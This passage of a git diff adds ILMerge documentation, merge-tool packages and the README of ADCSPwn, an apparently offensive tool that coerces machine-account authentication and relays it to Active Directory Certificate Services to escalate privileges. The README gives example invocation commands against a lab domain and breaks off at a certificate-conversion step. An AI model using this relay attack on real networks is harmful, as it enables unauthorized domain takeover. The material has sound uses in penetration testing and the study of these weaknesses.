+The contents of the file should be one regular expression per line. The syntax is that defined in the .NET namespace System.Text.RegularExpressions for regular expressions. The regular expressions are matched against each type's full name, e.g., "System.Collections.IList". If the match fails, it is tried again with the assembly name (surrounded by square brackets) prepended to the type name. Thus, the pattern "\\[A\\].\\\*" excludes all types in assembly A from being made non-public. (The backslashes are required because the string is treated as a regular expression.) The pattern "N.T" will match all types named T in the namespace named N no matter what assembly they are defined in.
+
+It is important to note that the regular expressions are _not_ anchored to the beginning of the string; if this is desired, use the appropriate regular expression operator characters to do so.
+
+**Default:** ""
+
+**Command line option:** `/internalize[:excludeFile]`
+
+## 2.11 FileAlignment
+
+```csharp
+public int FileAlignment { get; set; }
+```
+
+This controls the file alignment used for the target assembly. The setter sets the value to the largest power of two that is no larger than the supplied argument, and is at least 512.
+
+**Default:** `512`
+
+**Command line option:** `/align:n`
+
+## 2.12 Internalize
+
+```csharp
+public bool Internalize { get; set; }
+```
+
+This controls whether types in assemblies _other than_ the primary assembly have their visibility modified. When it is true, then all non-exempt types that are visible outside of their assembly have their visibility modified so that they are not visible from outside of the merged assembly. A type is exempt if its _full name_ matches a line from the ExcludeFile (Section 2.10) using the .NET regular expression engine.
+
+**Default:** `false`
+
+**Command line option:** `/internalize[:excludeFile]`
+
+## 2.13 KeyFile
+
+```csharp
+public string KeyFile { get; set; }
+```
+
+When this is set before calling Merge, it specifies the path and filename to a .snk file. The target assembly will be signed with its contents and will then have a strong name. It can be used with the DelaySign property (Section 2.9) to have the target assembly delay signed. This can be done even if the primary assembly was fully signed.
+
+**Default:** `null`
+
+**Command line option:** `/keyfile:filename`
+
+## 2.14 Log
+
+```csharp
+public bool Log { get; set; }
+```
+
+When this is set before calling Merge, then log messages are written. It is used in conjunction with the LogFile property. If Log is true, but LogFile is null, then log messages are written to Console.Out. To specify this behavior on the command line, the option "/log" can be given without a log file.
+
+**Default:** `false`
+
+**Command line option:** `/log[:logfile]`
+
+## 2.15 LogFile
+
+```csharp
+public string LogFile { get; set; }
+```
+
+When this is set before calling Merge, it indicates the path and filename that log messages are written to. If Log is true, but LogFile is null, then log messages are written to Console.Out.
+
+**Default:** `null`
+
+**Command line option:** `/log[:logfile]`
+
+## 2.16 Merge
+
+```csharp
+public void Merge();
+```
+
+Once all desired options are set, this method performs the actual merging.
+
+## 2.17 OutputFile
+
+```csharp
+public string OutputFile { get; set; }
+```
+
+This must be set before calling Merge. It specifies the path and filename that the target assembly will be written to.
+
+**Default:** `null`
+
+**Command line option:** `/out:filename`
+
+## 2.18 PublicKeyTokens
+
+```csharp
+public bool PublicKeyTokens { get; set; }
+```
+
+This must be set before calling Merge. It indicates whether external assembly references in the manifest of the target assembly will use full public keys (false) or public key tokens (true).
+
+**Default:** `true`
+
+**Command line option:** `/useFullPublicKeyForReferences`
+
+## 2.19 SetInputAssemblies
+
+```csharp
+public void SetInputAssemblies(string[] assems);
+```
+
+When used programmatically, each element of the array should contain the path and filename of an input assembly. The first element of the array is considered to be the primary assembly.
+
+## 2.20 SetSearchDirectories
+
+```csharp
+public void SetSearchDirectories(string[] dirs);
+```
+
+If specified, this sets the directories to be used to search for input assemblies. When used programmatically, each element of the array should contain a directory name. When specified on the command line, use a separate "/lib" option for each directory.
+
+**Command line option:** `/lib:directory`
+
+## 2.21 SetTargetPlatform
+
+```csharp
+public void SetTargetPlatform(string platform, string dir);
+```
+
+This method sets the .NET Framework for the target assembly to be the one specified by platform. Valid strings for the first argument are `v1`, `v1.1`, `v2`, and `v4`;. The `v` is case insensitive and is also optional. This way ILMerge can be used to "cross-compile", i.e., it can run in one version of the framework and generate the target assembly so it will run under a different assembly. The second argument is the directory in which `mscorlib.dll` is to be found.
+
+**Command line option:** `/targetplatform:version,platformdirectory`
+
+## 2.22 StrongNameLost
+
+```csharp
+public bool StrongNameLost { get; }
+```
+
+Once merging is complete, this property is true if and only if the primary assembly had a strong name, but the target assembly does not. This can occur when an .snk file is not specified, or if something goes wrong trying to read its contents.
+
+## 2.23 TargetKind
+
+```csharp
+public ILMerge.Kind { get; set; }
+```
+
+This controls whether the target assembly is created as a library, a console application or as a Windows application. When it is not specified, then the target assembly will be the same kind as that of the primary assembly. (In that case, the file extensions found on the specified target assembly and the primary assembly must match.) When it is specified, then the file extension of the target assembly must match the specification.
+
+The possible values are `ILMerge.Kind.{Dll, Exe, WinExe}`
+
+**Default:** `ILMerge.Kind.SameAsPrimaryAssembly`
+
+**Command line option:** `/target:(library|exe|winexe)`
+
+## 2.24 UnionMerge
+
+```csharp
+public bool { get; set; }
+```
+
+When this is true, then types with the same name are all merged into a single type in the target assembly. The single type is the union of all of the individual types in the input assemblies: it contains all of the members from each of the corresponding types in the input assemblies. It cannot be specified at the same time as `/allowDup`.
+
+**Default:** `false`
+
+**Command line option:** `/union`
+
+## 2.25 Version
+
+```csharp
+public System.Version Version { get; set; }
+```
+
+When this has a non-null value, then the target assembly will be given its value as the version number of the assembly. When specified on the command line, the version is read in as a string and should look like "6.2.1.3" (but without the quote marks). The version must be a valid assembly version as defined by the attribute AssemblyVersion in the System.Reflection namespace.
+
+**Default:** `null`
+
+**Command line option:** `/ver:version`
+
+## 2.26 XmlDocumentation
+
+```csharp
+public bool XmlDocumentation { get; set; }
+```
+
+This property controls whether XML documentation files are merged to produce an XML documentation file for the target assembly.
+
+**Default:** `false`
+
+**Command line option:** `/xmldocs`
+
+# 3 Command Line Usage
+
+The full command line for ILMerge is:
+
+```
+ilmerge [/lib:directory]* [/log[:filename]] [/keyfile:filename [/delaysign]] [/internalize[:filename]]
+[/t[arget]:(library|exe|winexe)] [/closed] [/ndebug] [/ver:version] [/copyattrs [/allowMultiple]]
+[/xmldocs] [/attr:filename] ([/targetplatform:[,]]|v1|v1.1|v2|v4)
+[/useFullPublicKeyForReferences] [/zeroPeKind] [/wildcards] [/allowDup[:typename]]*
+[/allowDuplicateResources] [/union] [/align:n]
+/out:filename [...]
+```
+
+ All options that take arguments can use either `:` or `=` as a separator. Options can be in any order, but all of the options must precede the list of input assemblies.
+
+# 4 Troubleshooting
+
+## 4.1 Input assembly not merged in correctly
+
+A common problem is that after merging some assemblies, you get an error message stating that an input assembly was not merged in correctly because it is still listed as an external reference in the merged assembly. The most common cause of this problem is that one of the input assemblies, B, has an external reference to the incorrectly merged assembly, A, and also an external reference to another assembly, C, that itself has an external reference to A. Suppose the reference to C is to a method that takes an argument whose type is defined in A. Then the type signature of the method call to the method in C still refers to the type from A even in the merged assembly. After all, ILMerge cannot go and modify the assembly C so that it now depends on the type as it is defined in the output assembly after it has been merged!
+
+The solution is to use the closed option (Section 2.6) to have ILMerge compute the transitive closure of the input assemblies to prevent this kind of "dangling reference". In the example, that would result in all three assemblies A, B, and C, being merged. There is no way to merge just A and B without there still being an external reference to A.
+
+## 4.2 Merged assembly causes a runtime error (not present in the unmerged assemblies)
+
+The most frequent cause of problems when executing the target assembly is that ILMerge has no way to merge resources. Therefore resources are just copied over from the input assemblies into the target assembly. If these resources encode references to types defined in the input assemblies, then at runtime your program may fail because the type returned from the resource does not match the type as it is defined in the target assembly. You may even see a message that "type 'T' cannot be converted to type 'T'". This looks confusing because the messages do not show the assembly that each type is defined in. The actual error is that one type is defined in the input assembly while the other is defined in the target assembly.
+
+I do not know of any way to have ILMerge do the right thing in such cases. There is no general way to decode resources and change any type references they contain.
+
+# 5 Dependencies
+
+ILMerge is a stand-alone assembly dependent only on the v4.0 .NET Framework. (It actually uses two other assemblies: the assembly that makes up CCI itself, `System.Compiler.dll`, and `AssemblyResolver.dll`, which provides a small component for finding and loading assemblies when requested by the CCI Reader. But those assemblies have been merged into ILMerge using ILMerge before it is distributed.)
+
+# 6 Acknowledgements
+
+Without [Herman Venter](https://github.com/hermanventer), this tool could not have been written. Not only because it completely depends on CCI to provide the underlying functionality for reading, transforming, and writing IL, but because of all of his help and support.
diff --git a/ADCSPwn/packages/ILMerge.3.0.41/tools/net452/ILMerge.exe b/ADCSPwn/packages/ILMerge.3.0.41/tools/net452/ILMerge.exe
new file mode 100644
index 0000000..d7398e4
Binary files /dev/null and b/ADCSPwn/packages/ILMerge.3.0.41/tools/net452/ILMerge.exe differ
diff --git a/ADCSPwn/packages/ILMerge.3.0.41/tools/net452/System.Compiler.dll b/ADCSPwn/packages/ILMerge.3.0.41/tools/net452/System.Compiler.dll
new file mode 100644
index 0000000..a0a50cb
Binary files /dev/null and b/ADCSPwn/packages/ILMerge.3.0.41/tools/net452/System.Compiler.dll differ
diff --git a/ADCSPwn/packages/dnMerge.0.5.13/.signature.p7s b/ADCSPwn/packages/dnMerge.0.5.13/.signature.p7s
new file mode 100644
index 0000000..92b37a6
Binary files /dev/null and b/ADCSPwn/packages/dnMerge.0.5.13/.signature.p7s differ
diff --git a/ADCSPwn/packages/dnMerge.0.5.13/build/dnMerge.targets b/ADCSPwn/packages/dnMerge.0.5.13/build/dnMerge.targets
new file mode 100644
index 0000000..5f39877
--- /dev/null
+++ b/ADCSPwn/packages/dnMerge.0.5.13/build/dnMerge.targets
@@ -0,0 +1,26 @@
+
+
+
+ netstandard2.1
+ net472
+ $(MSBuildThisFileDirectory)..\tasks\$(TaskFolder)\dnMerge.dll
+ $(MSBuildThisFileDirectory)..\tasks\net472\dnMerge.dll
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ADCSPwn/packages/dnMerge.0.5.13/buildMultiTargeting/dnMerge.targets b/ADCSPwn/packages/dnMerge.0.5.13/buildMultiTargeting/dnMerge.targets
new file mode 100644
index 0000000..164c3d8
--- /dev/null
+++ b/ADCSPwn/packages/dnMerge.0.5.13/buildMultiTargeting/dnMerge.targets
@@ -0,0 +1,7 @@
+
+
+
+
\ No newline at end of file
diff --git a/ADCSPwn/packages/dnMerge.0.5.13/dnMerge.0.5.13.nupkg b/ADCSPwn/packages/dnMerge.0.5.13/dnMerge.0.5.13.nupkg
new file mode 100644
index 0000000..c105d95
Binary files /dev/null and b/ADCSPwn/packages/dnMerge.0.5.13/dnMerge.0.5.13.nupkg differ
diff --git a/ADCSPwn/packages/dnMerge.0.5.13/tasks/net472/dnMerge.dll b/ADCSPwn/packages/dnMerge.0.5.13/tasks/net472/dnMerge.dll
new file mode 100644
index 0000000..909ab61
Binary files /dev/null and b/ADCSPwn/packages/dnMerge.0.5.13/tasks/net472/dnMerge.dll differ
diff --git a/ADCSPwn/packages/dnMerge.0.5.13/tasks/netstandard2.1/dnMerge.dll b/ADCSPwn/packages/dnMerge.0.5.13/tasks/netstandard2.1/dnMerge.dll
new file mode 100644
index 0000000..dc6c1e4
Binary files /dev/null and b/ADCSPwn/packages/dnMerge.0.5.13/tasks/netstandard2.1/dnMerge.dll differ
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..142f5e1
--- /dev/null
+++ b/README.md
@@ -0,0 +1,32 @@
+# ADCSPwn
+
+A tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to certificate services.
+
+## Usage
+
+Run `ADCSPwn` on your target network.
+
+```
+adcspwn.exe --adcs --port [local port] --remote [computer]
+
+Required arguments:
+adcs - This is the address of the AD CS server which authentication will be relayed to.
+
+Optional arguments:
+port - The port ADCSPwn will listen on.
+remote - Remote machine to trigger authentication from.
+
+Example usage:
+adcspwn.exe --adcs cs.pwnlab.local
+adcspwn.exe --adcs cs.pwnlab.local --port 9001
+adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local
+adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
+```
+
+Convert the output into the PKCS12 certificate format using `bundle2pkcs12`
+
+```
+python3 bundle2pkcs12.py